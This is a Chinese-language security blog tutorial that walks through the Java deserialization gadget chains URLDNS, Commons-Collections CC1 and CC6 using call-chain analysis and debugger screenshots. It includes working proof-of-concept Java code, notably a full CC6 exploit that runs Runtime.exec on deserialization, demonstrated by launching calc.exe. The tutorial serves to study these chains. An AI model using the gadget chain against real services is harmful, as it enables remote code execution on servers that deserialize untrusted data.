重新认识反序列化URLDNS&CC1&CC6链

2024-07-11 265 0

前言

此文章篇幅不算太长,但是文章过于复杂,我尽量用最简单的语句来让大家明白CC1链和URLDNS链的流程,然后的话可能需要一些代码基础知识才能理解java反序列化,所以初学java的伙伴可以多看几遍,毕竟我是不相信有人看一遍就能理解的(天才除外)。

URLDNS分析

简介

URLDNS链相对于cc1-6来说比较简单并且没有什么JDK版本和第三方依赖条件要求所以相对来说危害比较大的,但是却只能够执行DNS请求,所以危害瞬间没有了,但是我们却可以通过该链发起DNS请求来探测网站是否存在反序列化漏洞,因此还是有作用的(说不定在不就的将来就有大佬能够突破这一条件达到RCE的危害)。

调用链

整体调用链

HashMap->readObject()
HashMap->readObject()->hash()(这里做了回调,其实本质还是调用的HashMap类中的hash())
URL->hashCode()
URLStreamHandler->hashCode()
URLStreamHandler->getHostAddress()
InteAddress->getByName()

为什么需要HashMap类?因为该类实现了Serializable接口并且重写了readObject方法,所以再反序列化时会有限执行HashMap类中的readObject方法
重新认识反序列化URLDNS&CC1&CC6链插图

并且readObject方法调用了hash函数
重新认识反序列化URLDNS&CC1&CC6链插图1

我们跟进hash函数发现该函数接收一个参数类型为对象的key,那么我们这里其实传进hash函数中的对象为URL类,那么在使用hashCode进行处理时其实就是对我们的URL类进行下一步操作。
重新认识反序列化URLDNS&CC1&CC6链插图2

这里我们可以简单的进行调试分析一下

首先在下图所示处打上断点
重新认识反序列化URLDNS&CC1&CC6链插图3

debug运行然后点击Alt+Shift+F7进入hash函数查看,图一处能够发现我们的key等于URL,那么我们再次步入其实调用的是URL对象中的HashCode函数
重新认识反序列化URLDNS&CC1&CC6链插图4

当我们进入URL类中的hashCode函数时发现代码段1进行了判断,如果hashcode值不等于-1就直接返回HashCode值,等于-1则进入代码段2再做处理,我们查看URL类文件中hashCode初始值为-1,因此不会走if语句,然后走handler.hashCode()方法进一步利用
重新认识反序列化URLDNS&CC1&CC6链插图5

我们进入上图所示第二段代码中,来到URLStreamHandler类中的hashCode方法,我们看到了getHostAddress方法直接跳到361行,发现u变量的值是我们传入的url
重新认识反序列化URLDNS&CC1&CC6链插图6
再使用Alt+Shift+F7步入该函数,我们看到了最终调用的发起DNS请求的getByName方法
重新认识反序列化URLDNS&CC1&CC6链插图7

运行最终代码成功执行
重新认识反序列化URLDNS&CC1&CC6链插图8

CC1分析

实验环境前置条件

JAVA版本:JDK7
commons-collections版本:3.1(MAVEN环境配置或者jar包直接导入)

这里先给出具体调用流程

1.对利用类AnnotationlnvocationHandler进行序列化,然后交给Java程序反序列化
2.在进行反序列化时,会执行AnnotationlnvocationHandler类中重写的readObject()方法,该方法会用setValue对成员变量TransformedMap的Value值进行修改
3.value修改触发了TransformedMap实例化时传入的参数InvokerTransformer的checkSetValue的transform()方法
4.放到Map里面的是InvokeTransformer数组,transform()方法被依次调用
5.InvokerTransformer.transform()方法通过反射,调用Runtime.getRuntime.exec("calc")函数来执行系统命令

InvokerTransformer

首先我们要知道,最终能够调用readobject方法执行恶意代码的类为InvokerTransformer类,我们可以仔细看一下InvokerTransformer类文件,我们看返回值为Object类型的transform方法

第一步:使用getClass获取我们需要加载的恶意类,除了getclass()方法之外,还有Class.forName()方法和String.Class()方法
第二步:使用getMethod方法获取我们指定的恶意类的方法名
第三步:使用invoke反射技术调用我们传入input变量中的类的method遍历中的方法的iArgs参数(听起来有点拗口)

重新认识反序列化URLDNS&CC1&CC6链插图9
通过上述我们知道InvokerTransformer类为最终的污点,那么我们本地IDEA新建一个文件,先不考虑怎么调用到该类的,我们直接new该类,来看一下最终执行的效果。

import org.apache.commons.collections.functors.InvokerTransformer;

public class ser_test {
    public static void main(String[] args) {
        InvokerTransformer invokerTransformer = new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new String[]{"calc.exe"}
        );

        try {
            Object input = Runtime.getRuntime();
            invokerTransformer.transform(input);
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

查看,如下图,我们能够我们new了一个InvokerTransformer方法并且传递三个参数,分别为方法名,参数类型,参数值。然后使用建立一个Object类型的变量Runtime.getRuntime(),我们再调用InvokerTransformer类中的transformer方法(这里的transformer方法就是图一中分析的transformer)
重新认识反序列化URLDNS&CC1&CC6链插图10

我们执行上述代码,计算器成功弹出,说明反序列化漏洞利用成功
重新认识反序列化URLDNS&CC1&CC6链插图11

通过上述给大家展示的方法只是给大家展示,最终触发的这么一个流程,那么在这其中肯定存在难点。

ChainedTransformer

我这里是自己主动实例化InvokerTransformer类然后调用该类的方法才执行到的最终效果,所以我们需要思考有没有办法或者有没有一个类能够自动去触发InvokerTransformer类中的方法。而刚好通过大牛们的不懈努力找到了ChainedTransformer类。

我们查看ChainedTransformer类中的构造方法和返回Object类型transform方法。

首先看第一段代码,我们实例化ChainedTransformer类时会自动调用ChainedTransformer构造方法,然后通过第二段代码来获取transform数组中的所有类,自动触发调用我们transform数组中的类。所以我们可以new一个ChainedTransformer然后把InvokerTransformer类的东西传给他,ChainedTransformer类就会自动去调用transform方法。
重新认识反序列化URLDNS&CC1&CC6链插图12

上面说了ChainedTransformer,然后我们现在要说到另一个类ConstantTransformer,该类的作用是获取一个类。具体是什么意思呢?看下图代码

ConstantTransformer

该图是ConstantTransformer类中的代码,那么第一段代码表示当我们new一个ConstantTransformer对象时,会自动调用ConstantTransformer类中的ConstantTransformer构造方法(代码段1中的方法),然后会把我们传入的值赋值给iConstant变量,最后会调用返回值为Object类型的transform方法,把我们传入的值再返回来。那么就等于说,我们传入的是Runtime类,最终经过此方法的调用处理会把Runtime类返回来。
重新认识反序列化URLDNS&CC1&CC6链插图13

那么我们就可以创建一个Transformer[]数组,把该数组ChainedTransformer类进行调用,该类会把Transformer[]数组中的所有传入的对象都会自动调用,然后运行。

再调用ChainedTransformer中的transform方法,成功弹出计算器。

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class ser_test2 {
    public static void main(String[] args) {
        Transformer[] transformers = new Transformer[]{
                //获取Runtime类对象
                new ConstantTransformer(Runtime.class),
                //传入Runtime类对象 反射执行getMethod获取getRuntime方法
                new InvokerTransformer(
                        "getMethod",                    //指定方法名
                        new Class[]{String.class,Class[].class},    //指定参数类型
                        new Object[]{"getRuntime",new Class[0]}     //指定参数
                ),
                //传入getRuntime方法 反射执行invoke方法 得到Runtime实例
                new InvokerTransformer(
                        "invoke",
                        new Class[]{String.class,Class[].class},
                        new Object[]{null,null}
                ),
                //传入Runtime实例 执行exec方法
                new InvokerTransformer(
                        "exec",
                        new Class[]{String.class},
                        new Object[]{"calc.exe"}
                )

        };
        // ChainedTransformer
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        ChainedTransformer.transform(null);
    }
}

重新认识反序列化URLDNS&CC1&CC6链插图14
通过上述代码我们能够知道,通过数组传入我们实例化类然后实例化类自动进行调用。这么看代码其实不是很复杂,只涉及到了三个类,那么我们我们需要思考

ChainedTransformer.transform(null)方法是用于ChainedTransformer获取到数组的类然后使用该方法进行自动调用,但是该段代码我们并不能保证transform方法自动触发,因此我们还需要寻找一个类保证反序列化数据能够自动触发。所以下一个类

TransformedMap

了解这个类之前,我们需要了解一下Map是什么,map是键值对,Key:Value形式。但是TransformedMap的Key和Value却是不一样的,TransformedMap的key是transformer对象,value也是transformer对象,那么既然接收transformer对象,那么还能够接收transformer对象的子类,那上述所说的ChainedTransformer,InvokerTransformer和ConstantTransformer对象都可以被TransformedMap接收。
重新认识反序列化URLDNS&CC1&CC6链插图15

那么我们回归问题本身,我们的目的是需要自动触发transform方法,那么TransformedMap类能够满足我们这一条件,那么TransformedMap类是怎么能够触发transform方法呢?往下看

checkSetValue方法
重新认识反序列化URLDNS&CC1&CC6链插图16

那么只要TransformedMap类中的checkSetValue方法执行了,那么就会把我们传给TransformedMap类中的键值对对象的transform方法执行

return this.valueTransformer.transform(value);

那什么时候会执行checkSetValue方法,在TransformedMap类继承的抽象类AbstractInputCheckedMapDecorator中的MapEntry中的setValue方法调用了checkSetValue方法
重新认识反序列化URLDNS&CC1&CC6链插图17

setValue方法只有在元素增加,删除,修改的时候才会被触发,所以我们需要找一个对象在反序列化时给TransformedMap对象赋值或者删除修改时会调用setValue方法。

AnnotationInvocationHandler

那么又有大牛们通过不懈的努力找到了AnnotationInvocationHandler对象,重写了readObject方法并且在361行调用了setvalue方法
重新认识反序列化URLDNS&CC1&CC6链插图18

到这里其实整个CC1链的攻击流程就大概了解

我们通过上述分析能够知道该函数或者该类为什么会成为CC1链组成的一部分,这里给出分析,那么大家把这四个类了解透彻渐渐的脑子里面就清晰起来了。

如果大家对于细节或者其他你不理解的可参考如下两篇文章,细节很多。

https://xz.aliyun.com/t/12715
https://xz.aliyun.com/t/7031

CC6分析

简介:
通过上面我们介绍了URLDNS链,通过该链的简单学习大概了解了反序列化的一些知识,后面我们又学习了CC1链,CC1链作为一条比较经典的链,学习价值是比较高的,但是也存在缺陷,在Java 8u71以后,这个利⽤链不能再利⽤了,主要原因是sun.reflect.annotation.AnnotationInvocationHandler#readObject 的逻辑变化了,重构了readObject方法。所以为了解决高版本JDK无法利用的缺陷,CC6链就随之出来了,CC6相对于是比较通用的链,很好解决了决高版本Java的利⽤问题。

LazyMap#get

我们通过CC1链可知调用的过程如下

AnnotationInvocationHandler#readObject
	TransformedMap#checkSetValue
		ChainedTransformer#transformer

通过上述讲解我们知道AnnotationInvocationHandler#readObject已经重构,无法满足条件,因此需要另一条链来调用ChainedTransformer#transformer方法来达到条件要求。

因此我们发现LazyMap#get方法满足该条件

如下图LazyMap#get方法调用了transformer方法,而factory是一个Transformer类型的变量,因此满足我们的要求,所以如果factory可控并且赋值为ChainedTransformer类,那么就达到了调用ChainedTransformer#transformer方法的这一要求。
重新认识反序列化URLDNS&CC1&CC6链插图19
重新认识反序列化URLDNS&CC1&CC6链插图20

TiedMapEntry

我们现在已知LazyMap#get方法是我们的主要入口,现在我们需要知道是否有其他的类调用了LazyMap#get方法,而TiedMapEntry#getValue方法调用了get方法,并且TiedMapEntry#hashCode方法调用了getValue方法。
重新认识反序列化URLDNS&CC1&CC6链插图21
重新认识反序列化URLDNS&CC1&CC6链插图22

HashMap

我们先看一下ysoserial的CC6利用链:

Gadget chain:
	    java.io.ObjectInputStream.readObject()
            java.util.HashSet.readObject()
                java.util.HashMap.put()
                java.util.HashMap.hash()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                        org.apache.commons.collections.map.LazyMap.get()
                            org.apache.commons.collections.functors.ChainedTransformer.transform()
                            org.apache.commons.collections.functors.InvokerTransformer.transform()
                            java.lang.reflect.Method.invoke()
                                java.lang.Runtime.exec()

通过上述ysoserial给出的利用链,可以发现TiedMapEntry.hashCode()方法是通过HashSet.readObject()方法去调用HashMap.put()&hash()方法最终调用的。那这里通过参考P神的文章,我们可以直接通过HashMap#readObject方法中调用HashMap#hash方法从而构造成完整利用链,去掉了前面的HashMap.put()&HashMap.hash()调用。所以最终的Gadget chain如下:

Gadget chain:
 	java.io.ObjectInputStream.readObject()
		java.util.HashMap.readObject()
 		java.util.HashMap.hash()
			org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
			org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
 				org.apache.commons.collections.map.LazyMap.get()
					org.apache.commons.collections.functors.ChainedTransformer.transform()
					org.apache.commons.collections.functors.InvokerTransformer.transform()
 						java.lang.reflect.Method.invoke()
 							java.lang.Runtime.exec()

那么我们再来看HashMap#readObject方法,调用了hash(key)方法
重新认识反序列化URLDNS&CC1&CC6链插图23

双击hash,Ctrl+B跟进hash函数,我们发现hash方法调用了key.hashCode方法,那么我们使key为TiedMapEntry类,即可完成构造链。
重新认识反序列化URLDNS&CC1&CC6链插图24

参考P神的POC

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
    public static void main(String[] args) throws Exception {
        Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class,Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class },new String[] { "calc.exe" }),
                new ConstantTransformer(1),
        };
		//防止本地本地调试时触发,因此先生成一个假对象。
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");
        //LazyMap#get方法中的if判断语句key必须为空才能进入if语句,因此需要删除前面的key值
        outerMap.remove("keykey");		
        Field f =
                ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);
		//序列化
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();
		
        //本地反序列化触发
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new
                ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

运行上述POC成功弹出计算器,而且我使用的是JDK11版本,也能成功执行RCE,说明该链通用性很好。
重新认识反序列化URLDNS&CC1&CC6链插图25

总结

urldns我觉得是最简单的,初学者比较好学,也不会存在什么JDK版本,依赖等问题,然后CC1比较经典,我相信大部分学习java反序列化的同学都是接触过CC1的,但是CC1链局限性太大,已经无法满足一些条件了,所以就有了CC2,CC3什么的,直到CC6的时候解决了JDK高版本限制,可以很好的解决版本兼容性等问题,因此学习价值也是比较大的。但是学习难度也是很大的,其实挺多的细节我都没有在文章里体现,就是为了刚初学这个的同学能够简单了解反序列化的一个基本轮廓,到后面慢慢的再去深度研究也是可以,最后,如果文章内容有错误希望大佬能够指出。


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

webpack打包站点,js文件名批量获取思路
加密对抗靶场enctypt——labs通关
【论文速读】| 注意力是实现基于大语言模型的代码漏洞定位的关键
蓝队技术——Sysmon识别检测宏病毒
内网渗透学习|powershell上线cs
LLM attack中的API调用安全问题及靶场实践

发布评论